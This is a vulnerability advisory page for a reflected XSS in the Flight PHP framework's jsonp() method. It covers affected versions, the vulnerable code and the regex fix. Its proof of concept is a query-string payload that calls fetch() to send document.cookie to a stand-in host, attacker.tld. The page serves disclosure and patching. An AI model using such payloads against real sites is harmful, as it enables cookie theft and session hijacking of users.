CVE-2026-42548: Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp()
Summary Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.
Published May 6, 2026 · Updated May 14, 2026
Affected packages
flightphp/core
- Ecosystem
- Composer (PHP)
- Affected
- < 3.18.1
- Fixed in
- 3.18.1
- Check
composer show flightphp/core
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.
Affected code
flight/Engine.php (≈ lines 1000-1013):
$callback = $this->request()->query[$param];
$this->response()
->status($code)
->header('Content-Type', 'application/javascript; charset=' . $charset)
->write($callback . '(' . $json . ');');No regex or identifier validation is performed before the callback is written.
Proof of concept
Given any route that calls Flight::jsonp($data):
GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//Reproduced response (Content-Type: application/javascript):
;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.
Impact
- Reflected XSS in any application calling
Flight::jsonp(). - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
- Exfiltration of authenticated API responses.
Patch (fixed in 3.18.1, commit b8dd23a)
_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.
Credit
Discovered by @Rootingg.
Credited to Rootingg.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-42549
Flight has path traversal in `make:controller` CLI that creates arbitrary directories outside project root
medium4.4May 6, 2026CVE-2026-42550
Flight vulnerable to SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete
high8.8May 6, 2026CVE-2026-42551
Flight: HTTP method override enabled by default, facilitating CSRF escalation and middleware bypass
high7.5May 6, 2026CVE-2026-42552
Flight vulnerable to sensitive information disclosure via default error handler
high7.5May 6, 2026
